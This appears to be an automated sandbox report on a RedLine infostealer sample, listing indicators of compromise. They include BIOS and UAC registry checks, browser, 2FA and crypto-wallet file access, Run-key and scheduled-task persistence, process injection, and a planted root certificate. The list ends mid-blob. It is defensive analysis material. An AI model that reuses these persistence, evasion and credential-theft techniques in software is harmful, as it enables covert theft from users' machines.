redline | 90aa6a7c770f2c0f49596731c80fda7d044802dea9e905ff999b39cda5428407

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2969847.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1278526.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4463916.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3589249.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8209024.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6855562.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6855562.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2969847.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1278526.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4463916.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3589249.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8209024.exe

Loads dropped DLL 64 IoCs

pid	Process
1984	setup_x86_x64_install.exe
1748	setup_installer.exe
1748	setup_installer.exe
1748	setup_installer.exe
1748	setup_installer.exe
1748	setup_installer.exe
1748	setup_installer.exe
1832	setup_install.exe
1832	setup_install.exe
1832	setup_install.exe
1832	setup_install.exe
1832	setup_install.exe
1832	setup_install.exe
1832	setup_install.exe
1832	setup_install.exe
928	cmd.exe
1292	cmd.exe
1868	Tue11d7385a978cc.exe
1868	Tue11d7385a978cc.exe
1596	cmd.exe
1596	cmd.exe
584	cmd.exe
240	cmd.exe
1376	cmd.exe
240	cmd.exe
2040	cmd.exe
1132	Tue11b9d76a96506.exe
1132	Tue11b9d76a96506.exe
572	Tue1109eec571ac.exe
572	Tue1109eec571ac.exe
1700	cmd.exe
1700	cmd.exe
1716	Tue11e4e580f2e8141a3.exe
1716	Tue11e4e580f2e8141a3.exe
1132	Tue11b9d76a96506.exe
1160	Tue112c483dd3245d.exe
1160	Tue112c483dd3245d.exe
1116	Tue11b9d76a96506.tmp
1116	Tue11b9d76a96506.tmp
1116	Tue11b9d76a96506.tmp
1116	Tue11b9d76a96506.tmp
2660	8022292.exe
2660	8022292.exe
2556	rundll32.exe
2556	rundll32.exe
2556	rundll32.exe
2556	rundll32.exe
2752	LzmwAqmV.exe
2752	LzmwAqmV.exe
2784	6855562.exe
2784	6855562.exe
2660	Dyjicyrizhe.exe
2964	2969847.exe
2964	2969847.exe
3004	WinHoster.exe
3004	WinHoster.exe
1296	1278526.exe
1296	1278526.exe
1620	2617197.exe
1620	2617197.exe
1716	Tue11e4e580f2e8141a3.exe
1716	Tue11e4e580f2e8141a3.exe
2536	WerFault.exe
2536	WerFault.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/memory/2784-208-0x0000000000060000-0x0000000000061000-memory.dmp	themida
behavioral1/memory/2964-222-0x0000000000BC0000-0x0000000000BC1000-memory.dmp	themida
behavioral1/memory/1296-231-0x0000000001030000-0x0000000001031000-memory.dmp	themida

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Windows Defender\\Saelywaefowo.exe\""	46807GHF____.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	8022292.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 6 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6855562.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2969847.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	1278526.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	4463916.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3589249.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	8209024.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
149	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1296	1278526.exe
3648	8209024.exe

Suspicious use of SetThreadContext 64 IoCs

description	pid	Process	procid_target
PID 1716 set thread context of 1544	1716	Tue11e4e580f2e8141a3.exe	74
PID 1716 set thread context of 2700	1716	Tue11e4e580f2e8141a3.exe	76
PID 1716 set thread context of 2836	1716	Tue11e4e580f2e8141a3.exe	77
PID 1716 set thread context of 2976	1716	Tue11e4e580f2e8141a3.exe	78
PID 1716 set thread context of 2576	1716	Tue11e4e580f2e8141a3.exe	79
PID 1716 set thread context of 1528	1716	Tue11e4e580f2e8141a3.exe	80
PID 1716 set thread context of 832	1716	Tue11e4e580f2e8141a3.exe	83
PID 1716 set thread context of 984	1716	Tue11e4e580f2e8141a3.exe	86
PID 1716 set thread context of 2780	1716	Tue11e4e580f2e8141a3.exe	87
PID 1716 set thread context of 2776	1716	Tue11e4e580f2e8141a3.exe	88
PID 1716 set thread context of 2032	1716	Tue11e4e580f2e8141a3.exe	89
PID 1716 set thread context of 2084	1716	Tue11e4e580f2e8141a3.exe	90
PID 1716 set thread context of 436	1716	Tue11e4e580f2e8141a3.exe	91
PID 1716 set thread context of 1604	1716	Tue11e4e580f2e8141a3.exe	93
PID 1716 set thread context of 2184	1716	Tue11e4e580f2e8141a3.exe	95
PID 1716 set thread context of 840	1716	Tue11e4e580f2e8141a3.exe	98
PID 1716 set thread context of 2748	1716	Tue11e4e580f2e8141a3.exe	103
PID 1716 set thread context of 2968	1716	Tue11e4e580f2e8141a3.exe	108
PID 1716 set thread context of 1588	1716	Tue11e4e580f2e8141a3.exe	115
PID 1716 set thread context of 3224	1716	Tue11e4e580f2e8141a3.exe	118
PID 1716 set thread context of 3384	1716	Tue11e4e580f2e8141a3.exe	122
PID 1716 set thread context of 3496	1716	Tue11e4e580f2e8141a3.exe	123
PID 1716 set thread context of 3612	1716	Tue11e4e580f2e8141a3.exe	124
PID 1716 set thread context of 3736	1716	Tue11e4e580f2e8141a3.exe	126
PID 1716 set thread context of 3976	1716	Tue11e4e580f2e8141a3.exe	131
PID 3660 set thread context of 4016	3660	postback.exe	132
PID 1716 set thread context of 4040	1716	Tue11e4e580f2e8141a3.exe	134
PID 1716 set thread context of 836	1716	Tue11e4e580f2e8141a3.exe	135
PID 1716 set thread context of 3696	1716	Tue11e4e580f2e8141a3.exe	142
PID 1716 set thread context of 3292	1716	Tue11e4e580f2e8141a3.exe	145
PID 1716 set thread context of 3928	1716	Tue11e4e580f2e8141a3.exe	148
PID 1716 set thread context of 3984	1716	Tue11e4e580f2e8141a3.exe	149
PID 1716 set thread context of 3712	1716	Tue11e4e580f2e8141a3.exe	153
PID 1716 set thread context of 2928	1716	Tue11e4e580f2e8141a3.exe	154
PID 1716 set thread context of 1548	1716	Tue11e4e580f2e8141a3.exe	155
PID 1716 set thread context of 2788	1716	Tue11e4e580f2e8141a3.exe	159
PID 1716 set thread context of 3672	1716	Tue11e4e580f2e8141a3.exe	161
PID 1716 set thread context of 2624	1716	Tue11e4e580f2e8141a3.exe	163
PID 1716 set thread context of 3704	1716	Tue11e4e580f2e8141a3.exe	168
PID 1716 set thread context of 3064	1716	Tue11e4e580f2e8141a3.exe	174
PID 1716 set thread context of 3104	1716	Tue11e4e580f2e8141a3.exe	175
PID 1716 set thread context of 4100	1716	Tue11e4e580f2e8141a3.exe	176
PID 1716 set thread context of 4204	1716	Tue11e4e580f2e8141a3.exe	178
PID 1716 set thread context of 4256	1716	Tue11e4e580f2e8141a3.exe	179
PID 1716 set thread context of 4372	1716	Tue11e4e580f2e8141a3.exe	181
PID 1716 set thread context of 4464	1716	Tue11e4e580f2e8141a3.exe	182
PID 1716 set thread context of 4552	1716	Tue11e4e580f2e8141a3.exe	184
PID 1716 set thread context of 4660	1716	Tue11e4e580f2e8141a3.exe	185
PID 1716 set thread context of 4724	1716	Tue11e4e580f2e8141a3.exe	186
PID 1716 set thread context of 4832	1716	Tue11e4e580f2e8141a3.exe	187
PID 1716 set thread context of 4904	1716	Tue11e4e580f2e8141a3.exe	188
PID 3376 set thread context of 5000	3376	services64.exe	190
PID 1716 set thread context of 4948	1716	Tue11e4e580f2e8141a3.exe	189
PID 1716 set thread context of 5032	1716	Tue11e4e580f2e8141a3.exe	191
PID 1716 set thread context of 2504	1716	Tue11e4e580f2e8141a3.exe	192
PID 1716 set thread context of 4224	1716	Tue11e4e580f2e8141a3.exe	193
PID 1716 set thread context of 3516	1716	Tue11e4e580f2e8141a3.exe	194
PID 1716 set thread context of 3232	1716	Tue11e4e580f2e8141a3.exe	196
PID 1716 set thread context of 4220	1716	Tue11e4e580f2e8141a3.exe	197
PID 1716 set thread context of 3924	1716	Tue11e4e580f2e8141a3.exe	198
PID 1716 set thread context of 4884	1716	Tue11e4e580f2e8141a3.exe	199
PID 1716 set thread context of 4940	1716	Tue11e4e580f2e8141a3.exe	200
PID 1716 set thread context of 3600	1716	Tue11e4e580f2e8141a3.exe	201
PID 1716 set thread context of 5068	1716	Tue11e4e580f2e8141a3.exe	202

Drops file in Program Files directory 7 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\FarLabUninstaller\is-4KFVQ.tmp	setup_2.tmp
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp
File created	C:\Program Files\Java\EWZXMBZYNY\ultramediaburner.exe	46807GHF____.exe
File created	C:\Program Files\Java\EWZXMBZYNY\ultramediaburner.exe.config	46807GHF____.exe
File created	C:\Program Files (x86)\Windows Defender\Saelywaefowo.exe	46807GHF____.exe
File created	C:\Program Files (x86)\Windows Defender\Saelywaefowo.exe.config	46807GHF____.exe
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 5 IoCs

pid	pid_target	Process	procid_target
2536	1160	WerFault.exe	48
2980	1620	WerFault.exe	72
4132	2616	WerFault.exe	59
1476	3816	WerFault.exe	160
2000	4052	WerFault.exe	133

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Alfanewfile2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Alfanewfile2.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
3356	schtasks.exe
4000	schtasks.exe
1996	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3988	timeout.exe

Kills process with taskkill 6 IoCs

evasion

pid	Process
2820	taskkill.exe
3332	taskkill.exe
3672	taskkill.exe
6704	taskkill.exe
6756	taskkill.exe
6612	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 40 IoCs

adware spyware

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "337926528"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000000d327e8bcedb2d4b986abc323ea826ca00000000020000000000106600000001000020000000aa13669499c5c02f895170d70cf29a52be38e4f8393325cbeb075888a741afca000000000e8000000002000020000000a9756d7b596582b401206eecf7203889a1fc17f0b70891a03129d797369c8ae820000000a30bae893ff70754452767294803c22b3ca0bc0fe97a0e80a6c6dcbc387a50c9400000007421f997471acfec61ab02eb4606329d457164f5de5cdb09211b33eb788ef1580bbada8f4c6128139a8deee32635ac27216b9e765f2bc696ce89ce6651629593	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000000d327e8bcedb2d4b986abc323ea826ca00000000020000000000106600000001000020000000e90500af725f86d29086306914487314a23c6791c0497bc4a4f24b78d8d4e5f1000000000e8000000002000020000000b7c5e5a67a1e9d716290eb413f57aee01b32fbc57a291af32faf101a55fd94f790000000f53ac9e7d461d01920e0802b100cd60ac1074d08d16d6410261e7a61fcd0cf012bfc40b137e2ce6b7fa56fa056c0a2f2a4d7dbb3d1f88190ff1091fecdd0a6774c9a9929ca38a3917350590bdf3b842981d16a0324077db4c79c13a4731692fa1aa9887466bf3929c0d67b1f6e03f3fc4e0a90c269f89bd0238440cc8f7a25af3afcdd3f1388a653b33e2fa3aacbf3fa400000003d9759e8a56c3bb1776cc20caef3efeb700790b80be135a5d115389adca1e40f1583ac7e1117a70c3ff52c7958aa3e7752a9ff66db5504fec46519b4352c8c5c	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 806564e132a5d701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{F3395320-1125-11EC-B9C0-4278337AE8DA} = "0"	iexplore.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Tue11141271fbe5877f.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Tue11141271fbe5877f.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Tue11141271fbe5877f.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Alfanewfile2.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f637